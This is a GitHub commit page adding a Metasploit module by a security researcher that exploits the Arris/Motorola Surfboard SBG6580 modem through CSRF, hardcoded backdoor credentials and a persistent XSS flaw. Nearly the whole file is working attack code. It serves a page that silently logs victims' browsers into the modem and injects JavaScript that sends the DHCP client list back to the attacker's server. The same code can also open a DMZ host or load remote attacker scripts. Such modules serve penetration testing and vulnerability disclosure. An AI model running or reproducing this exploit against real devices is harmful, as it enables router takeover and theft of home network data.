Skip to content

Commit 7ed1655

Browse files
author
Tod Beardsley
committed
Adding module for R7-2015-01
Disclosure coming soon, will update this module with a pointer to the correct reference.
1 parent b22ff67 commit 7ed1655

File tree

1 file changed

+322
-0
lines changed

1 file changed

+322
-0
lines changed
Lines changed: 322 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,322 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpServer::HTML
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Arris / Motorola Surfboard SBG6580 Web Interface Takeover',
16+
'Description' => %q{
17+
18+
The web interface for the Arris / Motorola Surfboard SBG6580 has
19+
several vulnerabilities that, when combined, allow an arbitrary website to take
20+
control of the modem, even if the user is not currently logged in. The attacker
21+
must successfully know, or guess, the target's internal gateway IP address.
22+
This is usually a default value of 192.168.0.1.
23+
24+
First, a hardcoded backdoor account was discovered in the source code
25+
of one device with the credentials "technician/yZgO8Bvj". Due to lack of CSRF
26+
in the device's login form, these credentials - along with the default
27+
"admin/motorola" - can be sent to the device by an arbitrary website, thus
28+
inadvertently logging the user into the router.
29+
30+
Once successfully logged in, a persistent XSS vulnerability is
31+
exploited in the firewall configuration page. This allows injection of
32+
Javascript that can perform any available action in the router interface.
33+
34+
The following firmware versions have been tested as vulnerable:
35+
36+
SBG6580-6.5.2.0-GA-06-077-NOSH, and
37+
SBG6580-8.6.1.0-GA-04-098-NOSH
38+
39+
},
40+
'Author' => [ 'joev' ],
41+
'DisclosureDate' => 'Apr 08 2015',
42+
'License' => MSF_LICENSE,
43+
'Actions' => [ [ 'WebServer' ] ],
44+
'PassiveActions' => [ 'WebServer' ],
45+
'DefaultAction' => 'WebServer',
46+
'References' => [
47+
[ 'CVE', '2015-0964' ], # XSS vulnerability
48+
[ 'CVE', '2015-0965' ], # CSRF vulnerability
49+
[ 'CVE', '2015-0966' ] # "techician/yZgO8Bvj" web interface backdoor
50+
]
51+
))
52+
53+
register_options([
54+
OptString.new('DEVICE_IP', [
55+
false,
56+
"Internal IP address of the vulnerable device.",
57+
'192.168.0.1'
58+
]),
59+
OptString.new('LOGINS', [
60+
false,
61+
"Comma-separated list of user/pass combinations to attempt.",
62+
'technician/yZgO8Bvj,admin/motorola'
63+
]),
64+
OptBool.new('DUMP_DHCP_LIST', [
65+
true,
66+
"Dump the MAC, IP, and hostnames of all registered DHCP clients.",
67+
true
68+
]),
69+
OptInt.new('SET_DMZ_HOST', [
70+
false,
71+
"The final octet of the IP address to set in the DMZ (1-255).",
72+
nil
73+
]),
74+
OptString.new('BLOCK_INTERNET_ACCESS', [
75+
false,
76+
"Comma-separated list of IP addresses to block internet access for.",
77+
''
78+
]),
79+
OptString.new('CUSTOM_JS', [
80+
false,
81+
"A string of javascript to execute in the context of the device web interface.",
82+
''
83+
]),
84+
OptString.new('REMOTE_JS', [
85+
false,
86+
"A URL to inject into a script tag in the context of the device web interface.",
87+
''
88+
])
89+
], self.class)
90+
end
91+
92+
def run
93+
if datastore['SET_DMZ_HOST']
94+
dmz_host = datastore['SET_DMZ_HOST'].to_i
95+
if dmz_host < 1 || dmz_host > 255
96+
raise ArgumentError, "DMZ host must be an integer between 1 and 255."
97+
end
98+
end
99+
100+
exploit
101+
end
102+
103+
def on_request_uri(cli, request)
104+
if request.method =~ /post/i
105+
file = store_loot(
106+
"dhcp.clients", "text/json", cli.peerhost,
107+
request.body, "arris_surfboard_xss", "DHCP client list gathered from modem"
108+
)
109+
print_good "Dumped DHCP client list from #{cli.peerhost}"
110+
print_good file
111+
elsif request.uri =~ /\/dmz$/i
112+
print_good "DMZ host successfully reset to #{datastore['SET_DMZ_HOST']}."
113+
send_response_html(cli, '')
114+
else
115+
send_response_html(cli, exploit_html)
116+
end
117+
end
118+
119+
def set_dmz_host_js
120+
return '' unless datastore['SET_DMZ_HOST'].present?
121+
%Q|
122+
var x = new XMLHttpRequest;
123+
x.open('POST', '/goform/RgDmzHost.pl');
124+
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
125+
x.send('DmzHostIP3=#{datastore['SET_DMZ_HOST']}');
126+
top.postMessage(JSON.stringify({type:'dmz',done:true}), '*');
127+
|
128+
end
129+
130+
def dump_dhcp_list_js
131+
return '' unless datastore['DUMP_DHCP_LIST']
132+
%Q|
133+
var f = document.createElement('iframe');
134+
f.src = '/RgDhcp.asp';
135+
f.onload = function() {
136+
var mac = f.contentDocument.querySelector('input[name="dhcpmacaddr1"]');
137+
var rows = [];
138+
if (mac) {
139+
var tr = mac.parentNode.parentNode;
140+
while (tr) {
141+
if (tr.tagName === 'TR' && !tr.querySelector('input[type="Submit"]')) {
142+
var tds = [].slice.call(tr.children);
143+
var row = [];
144+
rows.push(row);
145+
for (var i in tds) {
146+
row.push(tds[i].innerText);
147+
}
148+
}
149+
tr = tr.nextSibling;
150+
}
151+
}
152+
if (rows.length > 0) {
153+
top.postMessage(JSON.stringify({type:'dhcp',rows:rows}), '*');
154+
document.body.removeChild(f);
155+
}
156+
};
157+
document.body.appendChild(f);
158+
|
159+
end
160+
161+
def exploit_js
162+
[
163+
dump_dhcp_list_js,
164+
set_dmz_host_js,
165+
custom_js
166+
].join("\n")
167+
end
168+
169+
def exploit_html
170+
<<-EOS
171+
<!doctype html>
172+
<html>
173+
<body>
174+
175+
<script>
176+
177+
window.onmessage = function(e) {
178+
var data = JSON.parse(e.data);
179+
if (data.type == 'dhcp') {
180+
var rows = JSON.stringify(data.rows);
181+
var xhr = new XMLHttpRequest();
182+
xhr.open('POST', '#{get_uri}/collect');
183+
xhr.send(rows);
184+
} else if (data.type == 'dmz') {
185+
var xhr = new XMLHttpRequest();
186+
xhr.open('GET', '#{get_uri}/dmz');
187+
xhr.send();
188+
}
189+
}
190+
191+
var js = (#{JSON.generate({ js: exploit_js })}).js;
192+
193+
var HIDDEN_STYLE =
194+
'position:absolute;left:-9999px;top:-9999px;';
195+
196+
function exploit(hosts, logins) {
197+
for (var idx in hosts) {
198+
buildImage(hosts[idx]);
199+
}
200+
201+
function buildImage(host) {
202+
var img = new Image();
203+
img.src = host + '/images/px1_Ux.png';
204+
img.setAttribute('style', HIDDEN_STYLE);
205+
img.onload = function() {
206+
if (img.width === 1 && img.height === 1) {
207+
deviceFound(host, img);
208+
}
209+
img.parentNode.removeChild(img);
210+
};
211+
img.onerror = function() {
212+
img.src = host + '/logo_new.gif';
213+
img.onload = function() {
214+
if (img.width === 176 && img.height === 125) {
215+
deviceFound(host, img);
216+
}
217+
}
218+
img.onerror = function() {
219+
img.parentNode.removeChild(img);
220+
};
221+
};
222+
document.body.appendChild(img);
223+
}
224+
225+
function deviceFound(host, img) {
226+
// but also lets attempt to log the user in with every login
227+
var count = 0;
228+
for (var idx in logins) {
229+
attemptLogin(host, logins[idx], function() {
230+
if (++count >= logins.length) {
231+
attemptExploit(host);
232+
}
233+
})
234+
}
235+
}
236+
237+
function attemptExploit(host) {
238+
var form = document.createElement('form');
239+
form.setAttribute('style', HIDDEN_STYLE);
240+
form.setAttribute('method', 'POST');
241+
form.setAttribute('action', host+'/goform/RgFirewallEL')
242+
document.body.appendChild(form);
243+
244+
var inputs = [];
245+
var inputNames = [
246+
'EmailAddress', 'SmtpServerName', 'SmtpUsername',
247+
'SmtpPassword', 'LogAction'
248+
];
249+
250+
var input;
251+
for (var idx in inputNames) {
252+
input = document.createElement('input');
253+
input.setAttribute('type', 'hidden');
254+
input.setAttribute('name', inputNames[idx]);
255+
form.appendChild(input);
256+
inputs.push(input)
257+
}
258+
inputs[0].setAttribute('value', '<script>@a.com<script>eval(window.name);<\\/script>');
259+
inputs[inputs.length-1].setAttribute('value', '0');
260+
261+
var iframe = document.createElement('iframe');
262+
iframe.setAttribute('style', HIDDEN_STYLE);
263+
264+
window.id = window.id || 1;
265+
var name = '/*abc'+(window.id++)+'*/ '+js;
266+
iframe.setAttribute('name', name);
267+
document.body.appendChild(iframe);
268+
269+
form.setAttribute('target', name);
270+
form.submit();
271+
272+
setTimeout(function() {
273+
iframe.removeAttribute('sandbox');
274+
iframe.src = host+'/RgFirewallEL.asp';
275+
}, 1000);
276+
}
277+
278+
function attemptLogin(host, login, cb) {
279+
try {
280+
var xhr = new XMLHttpRequest();
281+
xhr.open('POST', host+'/goform/login');
282+
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
283+
xhr.send('loginUsername='+encodeURIComponent(login[0])+
284+
'&loginPassword='+encodeURIComponent(login[1]));
285+
xhr.onerror = function() {
286+
cb && cb();
287+
cb = null;
288+
}
289+
} catch(e) {};
290+
}
291+
}
292+
293+
var logins = (#{JSON.generate({ logins: datastore['LOGINS'] })}).logins;
294+
var combos = logins.split(',');
295+
var splits = [], s = '';
296+
for (var i in combos) {
297+
s = combos[i].split('/');
298+
splits.push([s[0], s[1]]);
299+
}
300+
301+
exploit(['http://#{datastore['DEVICE_IP']}'], splits);
302+
303+
</script>
304+
305+
</body>
306+
</html>
307+
EOS
308+
end
309+
310+
def custom_js
311+
rjs_hook + datastore['CUSTOM_JS']
312+
end
313+
314+
def rjs_hook
315+
remote_js = datastore['REMOTE_JS']
316+
if remote_js.present?
317+
"var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); "
318+
else
319+
''
320+
end
321+
end
322+
end

0 commit comments

Comments
 (0)